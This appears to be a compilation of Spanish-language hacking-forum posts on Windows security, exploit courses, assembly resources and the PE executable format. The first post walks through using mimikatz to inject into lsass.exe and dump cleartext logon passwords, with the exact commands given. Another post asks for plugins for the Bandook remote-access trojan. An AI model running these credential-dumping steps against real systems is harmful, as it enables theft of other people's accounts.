Desde ya hace tiempo que la forma de obtener la contraseña de administrador de Windows desde Windows ha sido obteniendo un Hash encriptado en NTLM o LM desde el SAM remoto o local de Windows, una vez obtenido ese Hash hay que crackear la contraseñas por fuerza bruta mediante Rainbow Tables, lo que se demora mucho y se hace imposible si tiene más de 10 dígitos la  contraseña, por lo cual muchas veces se prefieres usar la técnica Pass the Hash que consiste en la posibilidad de autenticarse entre máquinas Windows sin necesidad de password, solamente con el Hash (No se preocupen si no entendieron, este es un mega resumen que da para escribir mucho más).

Ahora... Gracias a un investigador francés apodado "Gentil Kiwi" que ha descubierto una nueva técnica que consta de:

Dentro del LSA (Local Security Authority) de Windows existen dos proveedores de autenticación por defecto (Tspkg y Wdigest) que almacenan las credenciales de los usuarios de forma reversible. Realmente no por un fallo inadvertido, si no porque estos módulos proveen autenticación a otros esquemas que necesitan conocer la contraseña, no sólo el hash.

Sin embargo, esto facitita a un atacante la posibilidad de recuperar las contraseñas en texto claro si dispone de permisos de debug sobre el proceso del LSASS (grupo de adminitradores), algo que podría haber conseguido previamente, por ejemplo, mediante la explotación previa de una vulnerabilidad de escalado privilegios (accediendo como SYSTEM).

Pues bueno, ya mucho blah blah ahora manos a la obra:

1.- Nos descargamos la herramienta desarrollada por "Gentil Kiwi": No tienes permitido ver enlaces. Registrate o Entra a tu cuenta

2.- Abrimos el CMD con privilegios de administrador:



3.- Ejecutamos mimikatz.exe desde la consola que abrimos anteriormente.

4.- Ahora ejecutamos una serie de comandos que entro a explicar después de la imagen:



(1) Damos privilegios sobre el proceso lsass.exe

Código: text
privilege::debug


(2) Inyectamos el proceso lsass.exe y la dll maliciosa sekurlsa.dll

Código: text
inject::process lsass.exe sekurlsa.dll


(3) Obtenemos las contraseñas de Inicio de Sesión

Código: text
@getLogonPasswords


(4) Es la contraseñas del usuario AADMIN, (5) La misma contraseña pero de otro inicio de sesión.

El método funciona en Windows XP, Vista y 7.
#105
Cursos de Ethical Hacking / Seguridad Informatica

Si alguna vez, pensaste formar parte de la seguridad informática, y desarrollar procesos de seguridad en distintos campos de la misma, esta es una excelente oportunidad para poderlo realizar. Si crees que el camino para llegar a tener estos conocimientos es arduo y complejo, estas en lo correcto; Pero hoy lo puedes hacer con ayuda de profesionales en el tema, que tienen como principio de vida, el compartir el conocimiento y habilidades que poseen,  en este caso, se enfocan a la seguridad informática, ethical hacking, programación, criptografía, ingeniería social, y un largo etc...

El día de hoy, ellos han empezado un nuevo proyecto, que esperan siente las bases para un proyecto mucho mayor, que esté al alcance, de toda aquella persona que desee aprender y compartir su conocimiento en el campo de la informática y seguridad informática.

   Nivel 1:  -Fundamentacion
   Nivel 2:  -Vulnerabilidades
   Nivel 3:  -Desarrollo de exploits
   Nivel 4:  -Pentesting Profesional

Hoy principalmente, estamos publicitando el Nivel 1, al cual puede acceder cualquier persona, con interés de aprender y tener unas bases mucho más solidas para desenvolverse en esté mundo de la seguridad informática; Aunque claro está, que si consideras que estas en un nivel más alto ó te interesa algún tema en especial de los niveles siguientes, puedes hacerlo, sin ningún tipo de restricción.

El Nivel 1, consta del siguiente temario, qué ha sido cuidadosamente escogido, para que al terminar el mismo, la persona en verdad tenga unos conocimientos básicos y sólidos para seguir sus estudios en temas de mucho más nivel.

NIVEL 1 : Fundamentacion

     • Lógica de Programación
     • Utilización de Sistemas Operativos linux (instalación, manejo y comandos)
     • Virtualización
     • Protocolos (ftp, smtp, ssh, telnet, pop3, http, dns, smb)
     • Herramientas Básicas Hacking (netcat, nmap, wireshark, tcpdum)
     • Redes (direccionamiento,  ip's dinamicas, ip's estaticas, redireccion de puertos)
     • Anonimato
     • Servidores Web
     • Google hacking 
     • Criptografia Básica
     • Ingenieria Social
     • Metadatos
     • Fases de un ataque
     • Recolección de información

Como pueden observar, el temario es muy bueno y en verdad sentará unas solidas bases en cuanto al conocimiento de seguridad informática se refiere; Como anteriormente se definió, esté es un proyecto que recién comienza, pero lo hace con la mayor seriedad posible y se espera, construir a partir de él, un proyecto mucho más grande y ambicioso en cuanto a cobertura se refiere.

Siguiendo la tónica de la información, por motivos de presupuesto y estabilidad para el proyecto, el curso necesita dar recursos mínimos para el sostenimiento del mismo, así que el costo del Nivel 1, es  accesible a todo tipo de persona, solo son $35 Dolares Americanos y aparte de todo el temario que acaban de ver, también al terminar el mismo Nivel, se dispondrá de un LABORATORIO FINAL en el cual, se pondrá a prueba todo lo aprendido durante el curso.

Para poder realizar la inscripción a los respectivos niveles, es necesario que lo hagan desde esté formulario:

No tienes permitido ver enlaces. Registrate o Entra a tu cuenta

#106
Sera este el código original del Stuxnet

No tienes permitido ver enlaces. Registrate o Entra a tu cuenta
#107
Bugs y Exploits / Samurai Web Testing FrameWork
Mayo 21, 2012, 11:35:23 PM

Samurai Web Testing FrameWork es una distribución GNU/Linux con tecnología Live CD, desarrollado con la idea de probar la seguridad de nuestros ambientes WEB. Esta distribución contiene las mejores herramientas de software libre y de software gratis (NO-Libre) enfocadas principalmente para hacer Pen-Testing (¿Ataques?) a páginas web.

No tienes permitido ver enlaces. Registrate o Entra a tu cuenta

No tienes permitido ver enlaces. Registrate o Entra a tu cuenta
#108
Hacking / Hacking Mexico Webcast Episodios [1-3]
Mayo 21, 2012, 01:13:38 AM


#109
En español

Contenido.

·  Tecnología de SWITCH
·  Tecnología de RUTEADOR
·  Donde usar Switch?
·  Donde usar un ruteador?
·  Segmentando con Switches y Ruteadores
o Segmentando LANs con Switch
o Segmentando Subredes con Ruteadores
o Seleccionando un Switch o un Ruteador para Segmentar
·  Diseñando Redes con Switches y Ruteadores
·  Diseñando Redes para Grupos de Trabajo
o Pequeños Grupos de Trabajo
§ Opción #1: Solución con Ruteador
§ Opción #2: Solución con Switch
o Grupos de Trabajo Departamentales
§ Respecto al tráfico de Broadcast
o Ruteo como Política Segura
§ Segmentación Física
§ Segmentación Lógica
·  Diseñando para Ambientes de Backbone
o Baja Densidad, Alta Velocidad en el Enlace Dentro de la Central de Datos
o Alta Densidad, Enlace de Alta Velocidad a la Central de Datos
o ATM para el Campus o el Backbone del Edificio
o Backbone Redundantes, Garantizan Disponibilidad de la Red
·  Diseñando para Acceso a WAN
·  El Futuro de los Switches
o Soporte Multimedia
·  Futuro del Ruteo
o Interfaces LAN y WAN
·  Sumario

No tienes permitido ver enlaces. Registrate o Entra a tu cuenta
#110
ASM / Assembler
Mayo 02, 2012, 12:04:46 AM
HLA (High Level Assembly)

Por ahí revisando archivos me encontré con esta bella de información.

HLA es un lenguaje ensamblador de alto nivel que sirve para ir aprendiendo de a poco el lenguaje ensamblador puro, es decir que te permite usar construcciones de alto nivel como "for", "while", "if" y etcétera e ir aprendiendo las instrucciones de ensamblador poco a poco hasta saber usar construcciones puras de ensamblador. El lenguaje HLA es desarrollado por Randall Hyde y también escribió un libro importante de Assembler sobre HLA.


HLA
Las herramientas de HLA son multiplataforma y de dominio público.
No tienes permitido ver enlaces. Registrate o Entra a tu cuenta
No tienes permitido ver enlaces. Registrate o Entra a tu cuenta

Technical Documentation
No tienes permitido ver enlaces. Registrate o Entra a tu cuenta


HIDE (HLA IDE)
HIDE es para la plataforma Windows y la licencia es libre para uso personal o comercial.
No tienes permitido ver enlaces. Registrate o Entra a tu cuenta


Otras herramientas útiles

ResEdit
Es un editor de recursos para los programas.
No tienes permitido ver enlaces. Registrate o Entra a tu cuenta

Resource Hacker
Es una herramienta para ver, modificar, renombrar, agregar, borrar y extraer recursos en ejecutables de Windows de 32bit & 64bit y archivos de recursos.
No tienes permitido ver enlaces. Registrate o Entra a tu cuenta






Sitios web de Assembler (no son sitios sobre HLA, sino de Assembler puro)

No tienes permitido ver enlaces. Registrate o Entra a tu cuenta
No tienes permitido ver enlaces. Registrate o Entra a tu cuenta
No tienes permitido ver enlaces. Registrate o Entra a tu cuenta


Agner's CPU blog
No tienes permitido ver enlaces. Registrate o Entra a tu cuenta

Hutch's Assembly pages
No tienes permitido ver enlaces. Registrate o Entra a tu cuenta

Paul Hsieh's x86 Assembly page
No tienes permitido ver enlaces. Registrate o Entra a tu cuenta

Iczelion's Win32 Assembly Homepage
No tienes permitido ver enlaces. Registrate o Entra a tu cuenta


Tutoriales de Assembler

PC Assembly Tutorial - Roby Joehanes
No tienes permitido ver enlaces. Registrate o Entra a tu cuenta

Lenguaje Ensamblador Para Microprocesadores Intel 80xx/80x86 - M. en C. Eduardo René Rodríguez Ávila
No tienes permitido ver enlaces. Registrate o Entra a tu cuenta





Bibliografía

The Art of Assembly - Randall Hyde
No tienes permitido ver enlaces. Registrate o Entra a tu cuenta
No tienes permitido ver enlaces. Registrate o Entra a tu cuenta

Assembly Language, The True Language Of Programmers
http://No tienes permitido ver enlaces. Registrate o Entra a tu cuenta

Programming Ground Up - Jonathan Bartlett
No tienes permitido ver enlaces. Registrate o Entra a tu cuenta

Assemblers And Loaders - David Salomon
No tienes permitido ver enlaces. Registrate o Entra a tu cuenta

Lenguaje Ensamblador para PC - Paul A. Carter
No tienes permitido ver enlaces. Registrate o Entra a tu cuenta

Programación avanzada en lenguaje ensamblador - Medina, Ramon
No tienes permitido ver enlaces. Registrate o Entra a tu cuenta

Introduction to 80x86 Assembly Language and Computer Architecture - Richard C. Detmer
No tienes permitido ver enlaces. Registrate o Entra a tu cuenta

Manuales de Optimización de Agner Fog (Nota: los manuales no son para principiantes)
No tienes permitido ver enlaces. Registrate o Entra a tu cuenta
#111
Dudas y pedidos generales / [SOLUCIONADO] Plugins
Abril 21, 2012, 09:14:55 PM
Hola alguien de casualidad tiene los plugins de Bandook v 1.35 ya los busque en google pero la mayoría de links eran del Megaupload
#112


Parte Teórica:

Un poco de historia.
Conceptos básicos: Registros, memoria, ASM, etc.
Tipos de exploits.
Modo de actuación de cada tipo de exploit.
Sistemas de protección"anti-exploits".
Métodos de evasión antiprotectores de pila/heap.



Programación de shellcodes para exploits.
Métodos de evasión en shellcodes anti IDS.

Parte Practica:

Funcionamiento básico de exploits:
Stack.
Heap (pointer/function pointer/VPTR overwrite).
Format String.
Casos de reales:
Remote root con un b0f.
Remote root con un exploit de formato(Posadis DNS, Washington University (wu-ftp) FTP).

Nota:

Esto son libros para que sus conocimientos aumente no es ninguna clase programas.

No tienes permitido ver enlaces. Registrate o Entra a tu cuenta
#113
Seguridad / Vpn
Abril 17, 2012, 07:02:42 PM

¿Qué es VPN?:

Es una tecnología de red que permite una extensión de la red local sobre una red pública o no controlada, como por ejemplo Internet.

Ejemplos comunes son la posibilidad de conectar dos o más sucursales de una empresa utilizando como vínculo Internet, permitir a los miembros del equipo de soporte técnico la conexión desde su casa al centro de cómputo, o que un usuario pueda acceder a su equipo doméstico desde un sitio remoto, como por ejemplo un hotel. Todo ello utilizando la infraestructura de Internet.

VPN recomendadas:

Todas las que usan el servicio OpenVPN. Estas incluyen políticas específicas acerca de los datos (la mejor opción: sin registro de datos, sin registro de facturación y con métodos seguros de pago como por ejemplo Ukash y servicios similares).

Servicios Comerciales VPN [Recomendadas]:

No tienes permitido ver enlaces. Registrate o Entra a tu cuenta
No tienes permitido ver enlaces. Registrate o Entra a tu cuenta
No tienes permitido ver enlaces. Registrate o Entra a tu cuenta
No tienes permitido ver enlaces. Registrate o Entra a tu cuenta
No tienes permitido ver enlaces. Registrate o Entra a tu cuenta

VPN gratuitas (No recomendables):

Atención las VPN gratuitas no son seguradas.

No tienes permitido ver enlaces. Registrate o Entra a tu cuenta
No tienes permitido ver enlaces. Registrate o Entra a tu cuenta
No tienes permitido ver enlaces. Registrate o Entra a tu cuenta
No tienes permitido ver enlaces. Registrate o Entra a tu cuenta

No tienes permitido ver enlaces. Registrate o Entra a tu cuenta
#114
Hacking / Process Hacker
Abril 11, 2012, 11:53:51 PM

Process Hacker es una analizador de procesos que proporciona gran cantidad de información a cerca de cada programa o servicio en ejecución.

El programa muestra una lista de procesos en la que cada uno aparece coloreado indicando si se trata de un proceso del sistema, del usuario, si es nuevo, el tiempo que lleva en ejecución, etc.

Además, Process Hacker informa sobre todos los tipos de memoria que está utilizando cada programa, los archivos que usa el programa en ejecución, etc.

La versión es Process Hacker 1.3.7.1

No tienes permitido ver enlaces. Registrate o Entra a tu cuenta { link subido a mi cuenta haber si no me lo borran }

Otras versiones

No tienes permitido ver enlaces. Registrate o Entra a tu cuenta
#115
el autor original de este aporte es JEP




Esta es una pequeña introducción de como funcionan los archivos PE

Que es?
El archivo PE (Portable Executable) es el formato que utiliza windows para los ejecutables. En fin, en pocas palabras es un .exe o un .dll

Para que sirve conocerlo?
En Ing inversa muchas veces no es necesario conocer con mucho detalle la estructura que tiene este archivo, sin embargo, para problemas más complicados si resultará util conocerlo.
Nos permite separar las secciones del exe, analizarlas por separado, crear nuevas secciones, o modificar las existentes.
Las aplicaciones son bastantes, pero lo mas importante es que con esto se entenderá mejor porque pasan algunas cosas y como podemos resolverlas

Estructura basica:
vamos por parte, primero con una división a grandes razgos de las partes del archivo, y despues vamos ir entrando en detalle en las mas importantes

El archivo PE simplemente un archivo binario, que tiene una estructura, que es basicamente esta:
Código: text
--------------------
|  ENCABEZADO DOS  |
--------------------
|  STUB DOS        |
--------------------
|  ENCABEZADO NT   |
--------------------
|  ENCABEZADO SEC  |
--------------------
|  STUB NT         |
--------------------

Como se ve el archivo tiene 5 partes, asi de simple XD, los encabezados tienen un tamaño constante y en ellos están definidas todas las propiedades del archivo. Los stub contienen al programa en sí, los analizaremos por parte.




Sobre el Encabezado DOS y el Stub DOS
Tanto el encabezado DOS como el stub DOS no nos interesará tanto, están ahi por una especie de compatibilidad, si estamos ejecutando el programa en windows se ignorará toda esta parte.
generalmente eso contiene un pequeño programa en DOS que solamente imprime en pantalla algo como esto:
"This program cannot be run in DOS mode."
para indicar que estamos tratando de ejecutar un archivo que no corre en DOS.

Encabezado DOS
El encabezado DOS, asi como ya dije, es una estructura de datos que contiene variables que definen el programa, las variables que contiene este encabezado las podemos sacar de la ayuda de windows (msdn.microsoft.com)
Código: c

typedef struct _IMAGE_DOS_HEADER
{
     WORD e_magic;
     WORD e_cblp;
     WORD e_cp;
     WORD e_crlc;
     WORD e_cparhdr;
     WORD e_minalloc;
     WORD e_maxalloc;
     WORD e_ss;
     WORD e_sp;
     WORD e_csum;
     WORD e_ip;
     WORD e_cs;
     WORD e_lfarlc;
     WORD e_ovno;
     WORD e_res[4];
     WORD e_oemid;
     WORD e_oeminfo;
     WORD e_res2[10];
     DWORD e_lfanew;
} IMAGE_DOS_HEADER, *PIMAGE_DOS_HEADER;

esto es el encabezado, no nos interesa tanto, lo importante aqui es que, para leer todo el archivo debemos por lo menos saber el tamaño que ocupa este encabezado, y lo mas importante es que en este encabezado está la variable que indica donde comienza el encabezado del NT (que es realmente el encabezado que nos interesa)
dentro de esta variable e_lfanew se indica donde comienza el encabezado NT, vamos a ver con un ejemplo, esto es lo que se ve con un editor hexa
Código: text

"000000000  4D 5A 90 00 03 00 00 00-04 00 00 00 FF FF 00 00   |MZ##############|"
"000000010  B8 00 00 00 00 00 00 00-40 00 00 00 00 00 00 00   |########@#######|"
"000000020  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00   |################|"
"000000030  00 00 00 00 00 00 00 00-00 00 00 00 80 00 00 00   |################|"

"000000040  0E 1F BA 0E 00 B4 09 CD-21 B8 01 4C CD 21 54 68   |######.#!##L#!Th|"
"000000050  69 73 20 70 72 6F 67 72-61 6D 20 63 61 6E 6E 6F   |is program canno|"
"000000060  74 20 62 65 20 72 75 6E-20 69 6E 20 44 4F 53 20   |t be run in DOS |"
"000000070  6D 6F 64 65 2E 0D 0D 0A-24 00 00 00 00 00 00 00   |mode....$#######|"
"000000080  50 45 00 00 4C 01 05 00-24 A9 8A 4C 00 6C 00 00   |PE##L###$##L#l##|"

ahora hay que fijarse en la estructura del DOS_HEADER y lo que se ve en el archivo.
el tamaño del encabezado podemos calcular 30*WORD+1*DWORD = 64 bytes el encabezado tiene 64 bytes = 0x40 bytes (resulta mas comodo leer todo en hexa)
en el archivo separé con una linea, donde termina este encabezado, es exactamente en el offset 0x40.
Ahora vamos a leer la variable que nos interesa (DWORD e_lfanew), que son los ultimos 4 bytes del encabezado. en el archivo vemos que en esos 4 bytes tenemos "80 00 00 00" no hay que perder de vista que, dentro del archivo las variables se guardan con el byte menos significativo a la izquierda, asi que, si queremos leer esto como un numero hexa, debemos invertir este valor, tomando de 2 en 2, este valor en hexa será 0x00000080 (si no se entendió coloco aqui un ejemplo, si vemos en el archivo una variable asi "01 02 03 04" el valor en hexa de esa variable es 0x04030201, se debe invertir los numero  de 2 en 2)

bueno, con esto ya podemos leer donde empieza el encabezado del NT, está en el offset 0x00000080
Código: text

"000000070  6D 6F 64 65 2E 0D 0D 0A-24 00 00 00 00 00 00 00   |mode....$#######|"

"000000080  50 45 00 00 4C 01 05 00-24 A9 8A 4C 00 6C 00 00   |PE##L###$##L#l##|"
"000000090  31 03 00 00 E0 00 07 03-0B 01 02 38 00 5A 00 00   |1##########8#Z##|"
"0000000A0  00 68 00 00 00 0C 00 00-30 11 00 00 00 10 00 00   |#h######0#######|"

aqui vemos, separando con una linea donde comienza.

Stub DOS
El codigo en DOS realmente no nos interesa, pero solo para marcarlo, donde comienza y donde termina, está a continuación del Encabezado DOS y termina antes del encabezado del NT, asi que, en este caso, lo que tenemos en el stub del DOS es esto:
Código: text

"000000040  0E 1F BA 0E 00 B4 09 CD-21 B8 01 4C CD 21 54 68   |######.#!##L#!Th|"
"000000050  69 73 20 70 72 6F 67 72-61 6D 20 63 61 6E 6E 6F   |is program canno|"
"000000060  74 20 62 65 20 72 75 6E-20 69 6E 20 44 4F 53 20   |t be run in DOS |"
"000000070  6D 6F 64 65 2E 0D 0D 0A-24 00 00 00 00 00 00 00   |mode....$#######|"

como se puede ver, ahi esta el texto que dice que la aplicación no corre en DOS



Encabezado NT
El encabezado NT es un poco mas complicado que el de DOS, veamos su estructura
Código: c

typedef struct _IMAGE_NT_HEADERS {
  DWORD                 Signature;
  IMAGE_FILE_HEADER     FileHeader;
  IMAGE_OPTIONAL_HEADER OptionalHeader;
} IMAGE_NT_HEADERS, *PIMAGE_NT_HEADERS;

esta es su definición, la podemos encontrar en esta pagina No tienes permitido ver enlaces. Registrate o Entra a tu cuenta
Esta estructura todavia no nos dice mucho, solo que tiene un DWORD, que es un valor de referencia, siempre vale 0x00004550, realmente conviene leer esta variable como un char* "50 45 00 00", en ascii significa 'PE\0\0', esto se puede ver facilmente y permite identificar donde comienza el encabezado NT sin tener que hacer el cálculo que hicimos hace un rato.
Esto lo vemos aqui, (ver los primeros 4 bytes)
Código: text

"000000080  50 45 00 00 4C 01 05 00-24 A9 8A 4C 00 6C 00 00   |PE##L###$##L#l##|"



Veamos las estructuras contenidas en esta estructura: IMAGE_FILE_HEADER, IMAGE_OPTIONAL_HEADER

IMAGE_FILE_HEADER
Código: c

typedef struct _IMAGE_FILE_HEADER {
  WORD  Machine;
  WORD  NumberOfSections;
  DWORD TimeDateStamp;
  DWORD PointerToSymbolTable;
  DWORD NumberOfSymbols;
  WORD  SizeOfOptionalHeader;
  WORD  Characteristics;
} IMAGE_FILE_HEADER, *PIMAGE_FILE_HEADER;

No vamos a ver con detalle todas las variables de este encabezado, solo las que nos interesan
WORD  Machine: nos dice el tipo de maquina para la que fue compilado: 386,486,586,...
DWORD NumberOfSections: numero de secciones del archivo, esto es importante, si es que queremos agregar secciones.
DWORD TimeDateStamp: la fecha en la que fue compilado
DWORD PointerToSymbolTable: puntero a la tabla de simbolos
DWORD NumberOfSymbols: numero de simbolos (despues veremos esto en detalle)
WORD  SizeOfOptionalHeader: tamaño del IMAGE_OPTIONAL_HEADER, esto es interesante ya que, haciendo unas operaciones podemos llegar al stub del NT (donde comienza realmente el codigo) del encabezado DOS tenemos el offset del inicio de esta estructura, si a eso le sumamos el tamaño del IMAGE_FILE_HEADER y del IMAGE_OPTIONAL_HEADER, llegaremos al inicio del Stub NT (despues veremos en detalle como hacer este calculo)

sigamos con el IMAGE_OPTIONAL_HEADER
Código: c

typedef struct _IMAGE_OPTIONAL_HEADER {
  WORD                 Magic;
  BYTE                 MajorLinkerVersion;
  BYTE                 MinorLinkerVersion;
  DWORD                SizeOfCode;
  DWORD                SizeOfInitializedData;
  DWORD                SizeOfUninitializedData;
  DWORD                AddressOfEntryPoint;
  DWORD                BaseOfCode;
  DWORD                BaseOfData;
  DWORD                ImageBase;
  DWORD                SectionAlignment;
  DWORD                FileAlignment;
  WORD                 MajorOperatingSystemVersion;
  WORD                 MinorOperatingSystemVersion;
  WORD                 MajorImageVersion;
  WORD                 MinorImageVersion;
  WORD                 MajorSubsystemVersion;
  WORD                 MinorSubsystemVersion;
  DWORD                Win32VersionValue;
  DWORD                SizeOfImage;
  DWORD                SizeOfHeaders;
  DWORD                CheckSum;
  WORD                 Subsystem;
  WORD                 DllCharacteristics;
  DWORD                SizeOfStackReserve;
  DWORD                SizeOfStackCommit;
  DWORD                SizeOfHeapReserve;
  DWORD                SizeOfHeapCommit;
  DWORD                LoaderFlags;
  DWORD                NumberOfRvaAndSizes;
  IMAGE_DATA_DIRECTORY DataDirectory[IMAGE_NUMBEROF_DIRECTORY_ENTRIES];
} IMAGE_OPTIONAL_HEADER, *PIMAGE_OPTIONAL_HEADER;

  DWORD SizeOfCode; indica el tamaño total del code, osea, es la suma de los tamaños de las secciones que contienen codigo.
  DWORD AddressOfEntryPoint; direccion del EntryPoint
  DWORD BaseOfCode esto indica donde empieza la seccion que contiene el codigo (generalmente la seccion .text)
  DWORD BaseOfData; indica donde empieza la seccion que contiene las constantes del programa (generalmente .data)
  DWORD ImageBase; todas las direcciones virtuales están colocadas relativas a esta direccion, asi que a todas hay que sumarle este valor para sacar la direccion
  DWORD SectionAlignment; Alineacion de las secciones, en memoria
  DWORD FileAlignment; alineacion de las secciones, en el archivo
  DWORD SizeOfImage; suma de los tamaños de las secciones
  DWORD SizeOfHeaders; suma de los tamaños de los encabezados de las secciones
  DWORD NumberOfRvaAndSizes; esto da el numero de secciones y tamaños de cada seccion, esto es necesario para leer la info de IMAGE_DATA_DIRECTORY DataDirector, esta estructura que contiene la direccion de las secciones en el archivo, y los tamaños de estas secciones.
  estas secciones son secciones especiales, que siempre deben estar en los programas, ya vamos a ver que tienen una relacion con las secciones reales del programa, pero en nuestro programa podemos tener otras secciones que no estén en esta tabla.
las secciones de esta tabla son:
{"Export Table","Import Table","Resource Table","Exception Table","Certificate Table","Base Relocation Table","Debug","Architecture","Global Ptr","TLS Table","Load Config Table","Bound Import","IAT","Delay Import Descriptor","COM+ Runtime Header","Reserved"}
si alguna de estas secciones no existe en el programa se coloca su direccion 0x0 y tamaño 0x0, como podremos ver en los programas reales
 
aqui se puede ver la definicion de esa estructura 
Código: c

typedef struct _IMAGE_DATA_DIRECTORY {
  DWORD VirtualAddress;
  DWORD Size;
} IMAGE_DATA_DIRECTORY, *PIMAGE_DATA_DIRECTORY; 


El IMAGE_OPTIONAL_HEADER en el ejecutable de ejemplo se puede ver aqui: (comienza en el offset 0x000000098 y termina en el 000000177)
Código: text

"000000090  31 03 00 00 E0 00 07 03-0B 01 02 38 00 5A 00 00   |1##########8#Z##|"
"0000000A0  00 68 00 00 00 0C 00 00-30 11 00 00 00 10 00 00   |#h######0#######|"
"0000000B0  00 70 00 00 00 00 40 00-00 10 00 00 00 02 00 00   |#p####@#########|"
"0000000C0  04 00 00 00 01 00 00 00-04 00 00 00 00 00 00 00   |################|"
"0000000D0  00 B0 00 00 00 04 00 00-A9 4C 01 00 03 00 00 00   |#########L######|"
"0000000E0  00 00 20 00 00 10 00 00-00 00 10 00 00 10 00 00   |## #############|"
"0000000F0  00 00 00 00 10 00 00 00-00 00 00 00 00 00 00 00   |################|"
"000000100  00 A0 00 00 B8 04 00 00-00 00 00 00 00 00 00 00   |################|"
"000000110  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00   |################|"
"000000120  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00   |################|"
"000000130  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00   |################|"
"000000140  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00   |################|"
"000000150  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00   |################|"
"000000160  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00   |################|"
"000000170  00 00 00 00 00 00 00 00-2E 74 65 78 74 00 00 00   |########.text###|"


aqui vemos eso mismo, pero ordenando cada variable (visto con el ollydebg):
hice un salto de linea donde comienza la tabla de secciones (esto no es el encabezado de las secciones, que está a continuación)
Código: text

00400098        0B01         DW 010B              ; MagicNumber = PE32
0040009A        02           DB 02                ;  MajorLinkerVersion = 2
0040009B        38           DB 38                ;  MinorLinkerVersion = 38 (56.)
0040009C        005A0000     DD 00005A00          ;  SizeOfCode = 5A00 (23040.)
004000A0        00680000     DD 00006800          ;  SizeOfInitializedData = 6800 (26624.)
004000A4        000C0000     DD 00000C00          ;  SizeOfUninitializedData = C00 (3072.)
004000A8        30110000     DD 00001130          ;  AddressOfEntryPoint = 1130
004000AC        00100000     DD 00001000          ;  BaseOfCode = 1000
004000B0        00700000     DD 00007000          ;  BaseOfData = 7000
004000B4        00004000     DD 00400000          ; ImageBase = 400000
004000B8        00100000     DD 00001000          ;  SectionAlignment = 1000
004000BC        00020000     DD 00000200          ;  FileAlignment = 200
004000C0        0400         DW 0004              ;  MajorOSVersion = 4
004000C2        0000         DW 0000              ;  MinorOSVersion = 0
004000C4        0100         DW 0001              ;  MajorImageVersion = 1
004000C6        0000         DW 0000              ;  MinorImageVersion = 0
004000C8        0400         DW 0004              ;  MajorSubsystemVersion = 4
004000CA        0000         DW 0000              ;  MinorSubsystemVersion = 0
004000CC        00000000     DD 00000000          ;  Reserved
004000D0        00B00000     DD 0000B000          ;  SizeOfImage = B000 (45056.)
004000D4        00040000     DD 00000400          ;  SizeOfHeaders = 400 (1024.)
004000D8        A94C0100     DD 00014CA9          ;  CheckSum = 14CA9
004000DC        0300         DW 0003              ;  Subsystem = IMAGE_SUBSYSTEM_WINDOWS_CUI
004000DE        0000         DW 0000              ;  DLLCharacteristics = 0
004000E0        00002000     DD 00200000          ;  SizeOfStackReserve = 200000 (2097152.)
004000E4        00100000     DD 00001000          ;  SizeOfStackCommit = 1000 (4096.)
004000E8        00001000     DD 00100000          ;  SizeOfHeapReserve = 100000 (1048576.)
004000EC        00100000     DD 00001000          ;  SizeOfHeapCommit = 1000 (4096.)
004000F0        00000000     DD 00000000          ;  LoaderFlags = 0
004000F4        10000000     DD 00000010          ;  NumberOfRvaAndSizes = 10 (16.)

004000F8        00000000     DD 00000000          ;  Export Table address = 0
004000FC        00000000     DD 00000000          ;  Export Table size = 0
00400100        00A00000     DD 0000A000          ;  Import Table address = A000
00400104        B8040000     DD 000004B8          ;  Import Table size = 4B8 (1208.)
00400108        00000000     DD 00000000          ;  Resource Table address = 0
0040010C        00000000     DD 00000000          ;  Resource Table size = 0
00400110        00000000     DD 00000000          ;  Exception Table address = 0
00400114        00000000     DD 00000000          ;  Exception Table size = 0
00400118        00000000     DD 00000000          ;  Certificate File pointer = 0
0040011C        00000000     DD 00000000          ;  Certificate Table size = 0
00400120        00000000     DD 00000000          ;  Relocation Table address = 0
00400124        00000000     DD 00000000          ;  Relocation Table size = 0
00400128        00000000     DD 00000000          ;  Debug Data address = 0
0040012C        00000000     DD 00000000          ;  Debug Data size = 0
00400130        00000000     DD 00000000          ;  Architecture Data address = 0
00400134        00000000     DD 00000000          ;  Architecture Data size = 0
00400138        00000000     DD 00000000          ;  Global Ptr address = 0
0040013C        00000000     DD 00000000          ;  Must be 0
00400140        00000000     DD 00000000          ;  TLS Table address = 0
00400144        00000000     DD 00000000          ;  TLS Table size = 0
00400148        00000000     DD 00000000          ;  Load Config Table address = 0
0040014C        00000000     DD 00000000          ;  Load Config Table size = 0
00400150        00000000     DD 00000000          ;  Bound Import Table address = 0
00400154        00000000     DD 00000000          ;  Bound Import Table size = 0
00400158        00000000     DD 00000000          ;  Import Address Table address = 0
0040015C        00000000     DD 00000000          ;  Import Address Table size = 0
00400160        00000000     DD 00000000          ;  Delay Import Descriptor address = 0
00400164        00000000     DD 00000000          ;  Delay Import Descriptor size = 0
00400168        00000000     DD 00000000          ;  COM+ Runtime Header address = 0
0040016C        00000000     DD 00000000          ;  Import Address Table size = 0
00400170        00000000     DD 00000000          ;  Reserved
00400174        00000000     DD 00000000          ;  Reserved




Diferencia entre Dirección RAW y Virtual
Para poder entender el significado de algunas de estas variables, hace falta una pequeña introduccion de como las secciones se colocan en memoria.
Cuando se coloca un programa en memoria, para ejecutarlo, no se coloca exactamente como está en el archivo, en el archivo se tiene todo en forma mas compactada.
en memoria se alinean las secciones, generalmente de a 0x1000 bytes (esto depende de la variable que se encuentra en este encabezado, SectionAlignment es la variable que dice el valor de la alineacion, solo que generalmente vale 0x1000), esto hace mas rapida la lectura, sin embargo las secciones en el archivo, no hace falta que se separen unas de otras, aunque tambien son alineadas (la variable FileAlignment tiene el valor al cual se alinea en el archivo)

ademas de esta diferencia, el codigo del programa no comienza de la direccion 0x0 como pasa en el archivo, asi que una direccion en el archivo es totalmente distinta a una direccion en memoria. en el encabezado, cuando se refiere a memoria Rva se refiere a la memoria en el archivo, y cuando habla de memoria virtual se refiere al programa ya colocado en memoria para la ejecución
eso es necesario diferenciar para entender el encabezado.
Si queremos encontrar, donde empieza una seccion en el archivo, debemos buscar su direccion RVA, si queremos ver donde empieza esa misma seccion en memoria, debemos buscar su direccion Virtual (mas adelante veremos como identificar eso, con unos ejemplos)




seguido de esto viene el encabezado de las secciones
esta es la estructura de cada encabezado de seccion
Código: c

typedef struct _IMAGE_SECTION_HEADER {
